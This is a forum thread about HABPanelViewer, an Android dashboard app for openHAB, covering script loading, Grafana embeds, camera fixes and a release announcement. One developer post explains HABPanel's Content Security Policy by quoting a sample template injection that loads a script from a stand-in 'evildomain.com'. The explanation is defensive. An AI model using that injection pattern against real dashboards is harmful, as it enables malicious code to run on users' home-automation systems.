HABPanelViewer

android
habpanel
Tags: #<Tag:0x00007fd31387c858> #<Tag:0x00007fd31387c6f0>

(Francesco) #302

Hello,

thank you for you reply. I found a index.html file in my /html folder but there is nothing there. Actually if I inspect the index.html file from the browser I see the line you wrote but I can’t modify this file from the inspector. Do you know where this file is?

thanks


(Yannick Schaus) #303

Edit: I just took the time to look at this again and copied your javascript approach. I can see errors in the log that the webview prohibits loading of the referenced javascript file due to Content Security Policy defined in HABPanels index.html. If I remove the metatag from HABPanels index.html, the page loads fine. @ysc, I have no idea what this is for and if it is needed by HABPanel, can you give us any insights?

Yes, the CSP (more info: https://content-security-policy.com) was indeed added on purpose, to help mitigate XSS attacks which would be trivial with HABPanel templates if it weren’t there - since the templates can be modified with an API call, an attacker would only have to change the template to e.g. <div oc-lazy-load="['https://evildomain.com/evilscript.js']"> to inject malicious code.

Therefore only scripts from the same origin (that is, the openHAB server HABPanel is running on) can be loaded. And even if the server is the same, rpi.fritz.box:8080 and 192.168.1.22:8080 are NOT the same origin. The protocol, host and port must match.

The best way to ensure the local scripts are loaded probably is to use “server-relative” URLs like <div oc-lazy-load="['/static/temp-plot/plot_solar_local.js']"> - these will always work.


(Volker Bier) #304

Thanks for the explanation. Removing the host name from the javascript URL fixes things for me.

I was wondering why this did work on chrome on my tablet, but this was caused by the fact that I used openhabianpi as hostname in chrome and in the js URL, whereas HABPanelViewer discovered my server with the qualified URL openhabianpi.fritz.box.

@Ciccio, so there is no need to modify anything in HABPanel, you just have to adjust the js URL, or the server name in the Start Page preference.


(Francesco) #305

Hello, thank you for your help. It’s very strange. It works on several devices on both Chrome and HABPanelViewer, but still not my tablet. Even if I try a simple iframe without any javascript, I can’t see the plots. This happens only with the Grafana links.
I remember one week ago I was able to see some Grafana plots in your app, even if they did not work correctly. But then I think I changed something (not sure what because I updated several things, including Grafana and your app) and I got the black rectangles with nothing there.

Edit:

I downgraded from Grafana 5.0.4 to Grafana 4.3.2 and now I can see something, but I have an 404 error (see picture).

I checked the links and they are correct.

Francesco


(Francesco) #306

Hello,

in order to get rid of the 404 error, I had to clear the cache of the HABPanelViewer. Now I can see my plots but I still have some issues for the one day and one hour plots.

Francesco


(Masssssy) #307

I’m getting “this package appears to be corrupt” witht the hpv-debug.apk file.

Yes I have given the app camera permissions.


(Volker Bier) #308

Just tried, works for me. Maybe your download is corrupt? Can you try again?


(Masssssy) #309

Worked if I first removed it as home app and uninstalled it :+1:

However still: “Camera is not available on this device.”

Logcat: https://pastebin.com/JyARgbas

Possibly this is the problem:
“04-13 15:54:24.500 26750 26806 W cr_MediaCodecUtil: Model: Nexus 7 has blacklisted H.264 encoder.”


(Volker Bier) #310

Looks like I found the problem. I have updated the apk. Can you please retest?
Here is the link once again: https://github.com/vbier/habpanelviewer/raw/testJar/hpv-debug.apk


(Masssssy) #311

Seems to work. I haven’t had time to actually test the feature but it now detects that a camera is present.


(Frederic Mariën) #312

Is it possible to regulate the screens brightness via the command item like for example the volume command?
Something like “SET_BRIGHTNESS 60”?
My tablet (Lenovo Tab 4) doesn’t have a brightness sensor so it doesn’t regulate the screen’s brightness itself.
I would like to lower the brightness a bit in the evening.


(Volker Bier) #313

That is a good idea. I will add it to my todo list.


(Sebastian) #314

Hi @vbier. I finally had the time to test this fix. Works as it should. Nice work. Thanks :ok_hand:


(Markus S.) #315

Hi.
Is it possible to get a click sound for better feedback?
Thanks,
Markus


(Markus S.) #316

Hi.
Is there an option to save the akku power. Using the normal browser of the tab the akku runs for 8 days. Here less than 2 days without using any motion or detecting options.
Thanks,
Markus


(Volker Bier) #317

I would not know how to save power, as the app does nothing when motion detection/sensor reporting is not enabled. Most likely the OS applies some power saving mechanism to chrome that it does not for HPV. Are there any differences in your power saving options? What is your os version or tablet model?


(Volker Bier) #318

It has been a while since the last release, so I decided to release a new version so the features that I added in the last time are available to you:

0.9.19

  • added commands: CAPTURE_CAMERA, CAPTURE_SCREEN, ENABLE_MOTION_DETECTION, DISABLE_MOTION_DETECTION, RELOAD, SET_BRIGHTNESS, SHOW_DASHBOARD, SHOW_URL, SHOW_START_URL
  • show command details on click in command log
  • fixed bug where KEEP_SCREEN_ON and ALLOW_SCREEN_OFF did not work on all activities
  • fixed camera detection on devices that do not have a back-facing camera
  • fixed crash on Kindle devices
  • fixed bug where event bus listeners were not properly unregistered
  • made most functionality survive orientation change instead of restarting everything
  • separated camera and motion detection code and settings
  • improved logging and camera instantiation

The two most interesting new features are the commands CAPTURE_CAMERA and CAPTURE_SCREEN, which allow to take a picture with the camera or a screenshot and post the image to an image item in openHAB.
This allows to show the device screen or camera image on HabPanel itself or send the images (e.g. with the pushover action) to your mobile.


(Markus S.) #319

Hi. Have a Huawei Mediapad T2 10.0Pro with Android 5.1.1.
Where can i get the new version?
Thanks,
Markus


(Volker Bier) #320

You can download the apk from the releases page of my github project (linked in the first post and also in the 0.9.19 announcement). If you currently use the play store version, you will have to uninstall that first, or wait until @miker makes 0.9.19 available in the play store.


(Gerhard Riegler) #321

Hi @vbier
Thank you for this app, i’m using it now on three Teclast P10 tablets.

What I’m missing is a switch that indicates whether the screen is on or off. Maybe you can implement this in the next version.

Thanks!
Gerhard